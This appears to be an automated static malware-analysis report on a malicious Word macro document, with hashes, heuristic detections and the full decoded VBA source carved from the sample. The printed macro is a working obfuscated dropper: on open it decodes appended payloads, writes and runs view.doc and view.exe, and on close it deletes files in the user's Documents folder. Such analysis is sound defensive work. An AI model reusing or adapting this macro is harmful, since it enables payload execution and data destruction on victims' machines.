Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 49ac7de9541282c3…

MALICIOUS

Office (OLE)

786.2 KB Created: 2015-11-03 18:37:00 Authoring application: Microsoft Office Word First seen: 2020-12-25
MD5: 059cbb0d73e9b5cfb20e74105583d5e3 SHA-1: 583036a7c9b210508c222c7dfdd9b8321feca7df SHA-256: 49ac7de9541282c3c172d18a5a1ff2839e932d4ddd1b2d1da66b4997b1192c96
338 Risk Score

Heuristics 12

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set dfgetyuuyilhjklhjli = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set FSO = CreateObject("Scripting.FileSystemObject")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 805,095 bytes but its declared streams total only 67,185 bytes — 737,910 bytes (92%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • OLE file has appended executable-looking payload bytes high OLE_APPENDED_PAYLOAD
    OLE compound file contains a large high-entropy region beyond the declared major streams and that region includes shellcode, PE, or loader API markers. This is a payload-carrier signal, not a specific CVE attribution by itself.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5430 bytes
SHA-256: 3cdbbc4b1de0241fab1df63c381c13ffb98a63d3fccc83eb379b8169d60c7677
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Public fjhjfghjftjftjfgjhfgjfgjfgjfgjfgj As String
Public atbtyjkyulrjfgjhff As String
Function wesdfwfedfwfajghjghj(fhkfhfgdfsxzgzag() As Byte, rtuytrufgjkhjkghlggkgk As Long) As Byte
    
    For I = 0 To rtuytrufgjkhjkghlggkgk - 1
        wesdfwfedfwfajghjghj = wesdfwfedfwfajghjghj Xor fhkfhfgdfsxzgzag(I)
    Next I

End Function
Function sdfghgyukgkgjkghkgh(fhkfhfgdfsxzgzag() As Byte, rtuytrufgjkhjkghlggkgk As Long) As Boolean
    
    Dim VarByte As Byte
    VarByte = 75
    
    For I = 0 To rtuytrufgjkhjkghlggkgk - 1
        fhkfhfgdfsxzgzag(I) = fhkfhfgdfsxzgzag(I) Xor VarByte
        VarByte = (VarByte Xor ((200 + I) Mod 256))
        VarByte = (VarByte Xor (I Mod 256))
    Next I
    
    sdfghgyukgkgjkghkgh = True
    
End Function
Sub AutoClose()
        
    On Error Resume Next
    Kill fjhjfghjftjftjfgjhfgjfgjfgjfgjfgj
    
    On Error Resume Next
    Set FSO = CreateObject("Scripting.FileSystemObject")
    FSO.DeleteFile atbtyjkyulrjfgjhff & "\*.*", True
    Set FSO = Nothing
        
End Sub
Sub AutoOpen()
    
    On Error GoTo ityikhjkhkjldrtrrrdgdgdfg
    
    Set sfhdfjhmghdghnhcncncgmf = CreateObject("WScript.Network")
    atbtyjkyulrjfgjhff = "C:\Users\" & sfhdfjhmghdghnhcncncgmf.UserName & "\Documents"
    
    Set dfgetyuuyilhjklhjli = CreateObject("WScript.Shell")
   
    Dim weqweatrtyrtyt
    Dim ilqiugsafdfasfalalfal As Long
    Dim qwdoighaisafasfa As Long
    Dim erfgdfgdfgrtgrtrhtrt As Long
    Dim wioperupoagsadfgsdgs As Byte
    Dim qweposdfasfagsg As Long
    Dim asdfwafgsdfgrhtjhsss As Byte
       
    ilqiugsafdfasfalalfal = FileLen(ActiveDocument.FullName)
    
    weqweatrtyrtyt = FreeFile
    Open (ActiveDocument.FullName) For Binary As #weqweatrtyrtyt
        
    Get #weqweatrtyrtyt, (ilqiugsafdfasfalalfal - 3), qwdoighaisafasfa
            
    If qwdoighaisafasfa < 8 Then
        GoTo ityikhjkhkjldrtrrrdgdgdfg
    End If
    
    If (qwdoighaisafasfa + 4) > ilqiugsafdfasfalalfal Then
        GoTo ityikhjkhkjldrtrrrdgdgdfg
    End If
    
    Dim sadgwsgfhnfghggggg As Long
    sadgwsgfhnfghggggg = ilqiugsafdfasfalalfal - qwdoighaisafasfa + 1
    
    Get #weqweatrtyrtyt, sadgwsgfhnfghggggg, erfgdfgdfgrtgrtrhtrt
    sadgwsgfhnfghggggg = sadgwsgfhnfghggggg + 4
         
    Dim tyiytuihrertszgzggfffh() As Byte
    ReDim tyiytuihrertszgzggfffh(erfgdfgdfgrtgrtrhtrt - 1)
    
    Get #weqweatrtyrtyt, sadgwsgfhnfghggggg, tyiytuihrertszgzggfffh
    sadgwsgfhnfghggggg = sadgwsgfhnfghggggg + erfgdfgdfgrtgrtrhtrt
    
    Get #weqweatrtyrtyt, sadgwsgfhnfghggggg, wioperupoagsadfgsdgs
    sadgwsgfhnfghggggg = sadgwsgfhnfghggggg + 1
        
    If Not sdfghgyukgkgjkghkgh(tyiytuihrertszgzggfffh(), erfgdfgdfgrtgrtrhtrt) Then
        GoTo ityikhjkhkjldrtrrrdgdgdfg
    End If
    
    Dim sdfasdfsasfsssfhdfnhnjj As Byte
    sdfasdfsasfsssfhdfnhnjj = wesdfwfedfwfajghjghj(tyiytuihrertszgzggfffh(), erfgdfgdfgrtgrtrhtrt)
        
    If wioperupoagsadfgsdgs <> sdfasdfsasfsssfhdfnhnjj Then
        GoTo ityikhjkhkjldrtrrrdgdgdfg
    End If
        
    Dim poiweasdgsdfgar
    poiweasdgsdfgar = FreeFile
    fjhjfghjftjftjfgjhfgjfgjfgjfgjfgj = atbtyjkyulrjfgjhff & "\" & "view.doc"
    Open (fjhjfghjftjftjfgjhfgjfgjfgjfgjfgj) For Binary As poiweasdgsdfgar
    Put poiweasdgsdfgar, 1, tyiytuihrertszgzggfffh
    Close poiweasdgsdfgar
    
    Erase tyiytuihrertszgzggfffh
    
    dfgetyuuyilhjklhjli.Run fjhjfghjftjftjfgjhfgjfgjfgjfgjfgj
        
    Get #weqweatrtyrtyt, sadgwsgfhnfghggggg, qweposdfasfagsg
    sadgwsgfhnfghggggg = sadgwsgfhnfghggggg + 4
        
    Dim sdfsdfwefergjyuyuktysassdhd() As Byte
    ReDim sdfsdfwefergjyuyuktysassdhd(qweposdfasfagsg - 1)
    
    Get #weqweatrtyrtyt, sadgwsgfhnfghggggg, sdfsdfwefergjyuyuktysassdhd
    sadgwsgfhnfghggggg = sadgwsgfhnfghggggg + qweposdfasfagsg
    
    Get #weqweatrtyrtyt, sadgwsgfhnfghggggg, asdfwafgsdfgrhtjhsss
    sadgwsgfhnfghggggg = sadgwsgfhnfghggggg + 1
        
    If Not sdfghgyukgkgjkghkgh(sdfsdfwefergjyuyuktysassdhd(), qweposdfasfagsg) Then
        GoTo ityikhjkhkjldrtrrrdgdgdfg
    End If
        
    sdfasdfsasfsssfhdfnhnjj = wesdfwfedfwfajghjghj(sdfsdfwefergjyuyuktysassdhd(), qweposdfasfagsg)
        
    If asdfwafgsdfgrhtjhsss <> sdfasdfsasfsssfhdfnhnjj Then
        GoTo ityikhjkhkjldrtrrrdgdgdfg
    End If
        
    Dim rtyrrrtyhdfdfhdfhddddhdfh
    rtyrrrtyhdfdfhdfhddddhdfh = FreeFile
    fjhjfghjftjftjfgjhfgjfgjfgjfgjfgj = atbtyjkyulrjfgjhff & "\" & "view.exe"
    Open (fjhjfghjftjftjfgjhfgjfgjfgjfgjfgj) For Binary As rtyrrrtyhdfdfhdfhddddhdfh
    Put rtyrrrtyhdfdfhdfhddddhdfh, 1, sdfsdfwefergjyuyuktysassdhd
    Close rtyrrrtyhdfdfhdfhddddhdfh
    
    Erase sdfsdfwefergjyuyuktysassdhd
 
    dfgetyuuyilhjklhjli.Run fjhjfghjftjftjfgjhfgjfgjfgjfgjfgj
        
    Close #weqweatrtyrtyt
    Close poiweasdgsdfgar
    Close rtyrrrtyhdfdfhdfhddddhdfh
Exit Sub

ityikhjkhkjldrtrrrdgdgdfg:

    Close #weqweatrtyrtyt
    Close poiweasdgsdfgar
    Close rtyrrrtyhdfdfhdfhddddhdfh
End Sub

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